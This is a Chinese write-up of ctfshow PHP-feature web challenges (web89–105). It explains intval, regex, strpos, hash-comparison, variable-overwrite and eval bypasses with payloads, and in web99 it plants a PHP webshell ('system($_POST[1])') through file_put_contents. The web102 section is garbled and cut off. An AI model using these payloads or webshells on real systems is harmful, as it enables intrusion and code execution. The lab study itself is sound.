cfshow-web入门-php特性

web89

php 复制代码
<?php
​
include("flag.php");
highlight_file(__FILE__);
​
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

正则匹配检查不能是数字,但后面要求必须是数字才能输出flag。

这种情况是利用数组的特性,正则匹配是检测数组返回0,intval()函数是遇到数组返回为1,所以数组是完美的绕过方式。

?num[]=1

web90

php 复制代码
<?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

典型的intval()函数绕过。intval函数介绍:

复制代码
int intval( $var, $base )

参数

  • $var:需要转换成 integer 的「变量」

  • $base:转换所使用的「进制」

进制自动转换

base 为空时,默认进制转换。

0开头,默认转换为8进制

0x开头,默认转换为16进制

其他均转换为10进制。

返回值

返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。

0:失败 或 空array 返回 0 1:非空array 返回 1 其他integer值:成功时 返回 $var 的 integer 值。

返回值的「最大值」取决于系统

32 位系统(-2147483648 到 2147483647) 64 位系统(-9223372036854775808到9223372036854775807)

intval()绕过思路

1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。 2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。 3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。 4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号) 5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。 6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

web91

php 复制代码
<?php
​
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

这道题目考点:正则匹配的两种不同模式。

/im:不忽略大小写,且匹配多行。

/i: 不忽略大小写

因此这道题目的解法在于添加换行符:%0a,并且出现php字符串。

?cmd=%0aphp

web93

对于intval()函数的绕过有多种方法:十进制,十六进制,八进制。

禁用字符的话则十六进制无法使用。

web94

php 复制代码
 <?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

增加了strpos()函数的过滤,该函数用来检测字符在变量中第一次出现的位置,有的话返回1。

所以绕过方法是使用小数点绕过。或者以八进制的形式绕过。

?num=4437.0

?num=+010574

但0不能再开头,因为在开头strpos()函数的返回值是0,字符串的下标位置是以0开头的,所以strpos()函数的返回值是0,仍然无法饶过。

web95

php 复制代码
<?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

由于过滤了小数点,因此小数无法使用,只能用八进制进行绕过。 在使用八进制的时候要注意因为

?num=+010574

与web94一毛一样。

web96

考察如何在当前目录下读取文件。

./表示当前的目录,因此**./flag.php**既可绕过对flag.php的绕过,又可以查看当前目录文件。

另一种方法:使用伪协议的方式进行读取文件。

?u=php://filter/read=convert.base64-encode/resource=flag.php

该题不能使用日志包含漏洞,一句话木马被过滤。

web97

MD5碰撞:

使用数组进行绕过,数组md5检测时无法进行检测,返回值为null。因此绕过检测。

web98

php 复制代码
<?php
​
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
​
?> 

考察了三元运算符,以及get 和 post的传参方法。

**GET?GET=&$_POST:'flag'; 这句代码决定了存在get传参为真,则get传参改编为post传参。

中间代码没有作用,只在最后HTTP_FLAG中以post传入参数flag,即会执行$flag。

所以payload:

get:?1

post:HTTP_FLAG=flag

第二种方法:

利用cookie进行传值。

因为进行get传参后,传参方法由get变为post。

复制代码
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; <=> $_POST['flag']=='flag'?$_GET=&$_COOKIE:'flag'

所以在post传入flag=flag,则 **POST\['flag'\]=='flag'?GET=&$_COOKIE:'flag' 为真,所以传参位置改变为cookie位置。因此在cookie位置传入:HTTP_FLAG=flag,也能得到flag。

web99

php 复制代码
<?php
​
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
​
?> 
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}

代码解释:

for (i=36; i < 0x36d; $i++)

这是一个 for 循环。循环从 i=36 开始,并在每次循环时自增 i,直到 $i 达到 0x36d。

0x36d 是一个十六进制数,转换为十进制为 877。

所以循环会从 i=36 到 i=876,总共执行 876 - 36 + 1 = 841 次。

array_push(allow, rand(1, i));

在每次循环中,调用 rand(1, i) 函数生成一个介于 1 和 i 之间的随机整数,然后使用 array_push 函数将这个随机数添加到数组 $allow 中。

例如,在第一次循环中, $i=36,那么 rand(1, 36) 会生成一个 1 到 36 之间的随机整数。

在下一次循环中, i=37,因此 rand(1, 37) 会生成 1 到 37 之间的随机整数,以此类推,直到 i=876。

总结:该代码是生成1-876之间的随机数。

漏洞点:in_array()函数。

in_array(search, array, type),第一个是指定匹配的数字,第二个是产生匹配数字的数组,第三个是true则判断类型,false,则不判断。

在php中存在数字的字符串和数字进行比较时,会忽略掉数字后后面的其他字符串。因此payload为:

get:?n=1.php 这里的5可以是任意数字,因为题目使用随机数在数组里插入值,因此多试几次就能够匹配正确。

post:写入一句话木马 content=[?php@eval(_REQUEST\['a'\]);?](mailto:?php@eval%28_REQUEST%5B%27a%27%5D%29;?)

出现问题:一句话木马不能成功执行,该用wp上的php代码。

content=<?php system($_POST[1]);?>,这句后门shell,是写入1.php这个文件,这与file_put_contents函数有关,第一个参数指定要写入的文件。

web100

php 复制代码
<?php
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
​
?>

有v1, v2, v3 三个参数,

v0=is_numeric(v1) and is_numeric(v2) and is_numeric(v3);

这句代码在执行了 **is_numeric(v1)** 后,就会先执行后面的判断语句,因此要保证v0为真,只需要使得v1为数字。在下面的判断语句中,v2不能出现 ;v3需要出现 ;在eval()函数中会将字符串当做命令进行执行,因此需要在v2 或者 v3的传入读取**class ctfshow**(ctfshow)的命令。

payload :?v1=1&v2=var_dump(ctfshow)\&v3=/\*\*/; var_dump输出ctfshow的内容

?v1=1&v2=var_dump($ctfshow)&v3=;

?v1=1&v2=var_dump($ctfshow)/&v3=/;

三种payload都能够输出$ctfshow的内容。所以这里v3中的分号是表示执行完整php代码,因此不可缺少。加/**/

应该是为了注释掉v2和v3之间的字符串。

web101

php 复制代码
<?php
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
​
?>

payload : ?v1=12&v2var_dump($ctfshow/&v3=/);

该题与上一题不同,不能使用var_dump()函数。因为v2, v3分别过滤了)和(。

该题由于是要调用类,所以可以利用 new Reflectionclass建立反射类,利用反射类可以返回类的元数据信息。

反射类返回元数据信息如下:

在 PHP 中,元数据(metadata)是指关于代码和程序的描述信息,包括类、属性、方法和参数等。元数据可以在运行时动态地获取和操作,这使得 PHP 应用程序可以更加灵活和可扩展。

payload: ?v1=1&v2=echo new Reflectionclass&v3=;

flag少了一位,并不是全部的字母和数字都要尝试,该flag是由a-f+0-9的内容组成,所以只需要在这几个里面尝试就可以。

flag = ctfshow{ee8f6db0-f4c2-4a1d-9b81-894e27574fa5}

web102

php 复制代码
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
​
?>

substr()函数,是截取字符串中的字符。

substr ( string `string\` , int \`start` [, int `$length` ] )

string `$string`:需要截取的字符串

int `$start`:开始截取的位置

, int \`$length\` \]:截取字符串的长度。 call_user_func($v1,$s) 函数的一种调用形式 ​ 第一个参数是要调用的函数,第二个是调用函数的参数。 file_put_contents($v3,$str); ​ $v3创建文件,$str写入文件内容。 通过各函数对参数的调用,得出每个参数应该要做的工作: v1:调用的函数 v2:写入文件的内容 v3:是要创建的文件。 由于要忽略v2的前两个字符,因此该题目要通过16进制的方式绕过。 **v2 = \

结果:

web103

php 复制代码
 <?php
​
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

增加了过滤,但是仍然可以用web102的payload的绕过。

web104

php 复制代码
<?php
​
highlight_file(__FILE__);
include("flag.php");
​
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
​
?>
复制代码
md5:
​
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
​
​
sha1:
​
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

paylaod1:相同字符:

v1 =a v2=a

payload2:数组

v1[]=1 v2[]=2

payload3: 选择特殊字符串

v1 = aaroZmOk: 0e66507019969427134894567494305185566735 v2 = aaK1STfY: 0e76658526655756207688271159624026011393

web105

php 复制代码
<?php
​
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
​
?>
你还想要flag嘛?

key = $$value get: ?flag = flag 该题目考点是变量覆盖: 方法一: **get传入:?suces = flag** **post传入:error = suces** **在变量覆盖以后,$error中的值即为$flag。因此在if(!($_POST\['flag'\]==$flag))判断语句中执行die()函数即可输出flag。**

方法二:

get传参:?suces = flag&flag=

这样的方式能够绕过第三个判断,执行最后的echo语句。但是如何绕过post传参的第三个判断不理解

相关推荐
gb42152873 小时前
java中将租户ID包装为JSQLParser的StringValue表达式对象,JSQLParser指的是?
java·开发语言·python
THMAIL3 小时前
量化股票从贫穷到财务自由之路 - 零基础搭建Python量化环境:Anaconda、Jupyter实战指南
linux·人工智能·python·深度学习·机器学习·金融
~-~%%3 小时前
从PyTorch到ONNX:模型部署性能提升
人工智能·pytorch·python
蒋星熠3 小时前
Flutter跨平台工程实践与原理透视:从渲染引擎到高质产物
开发语言·python·算法·flutter·设计模式·性能优化·硬件工程
爬虫程序猿4 小时前
《京东商品详情爬取实战指南》
爬虫·python
胡耀超4 小时前
4、Python面向对象编程与模块化设计
开发语言·python·ai·大模型·conda·anaconda
大佬,救命!!!5 小时前
整理python快速构建数据可视化前端的Dash库
python·信息可视化·学习笔记·dash·记录成长
孔丘闻言5 小时前
python调用mysql
android·python·mysql
Teletele-Lin5 小时前
Miniconda安装与VSCode搭建远程Python、Jupyter开发环境
vscode·python·jupyter·环境配置·远程开发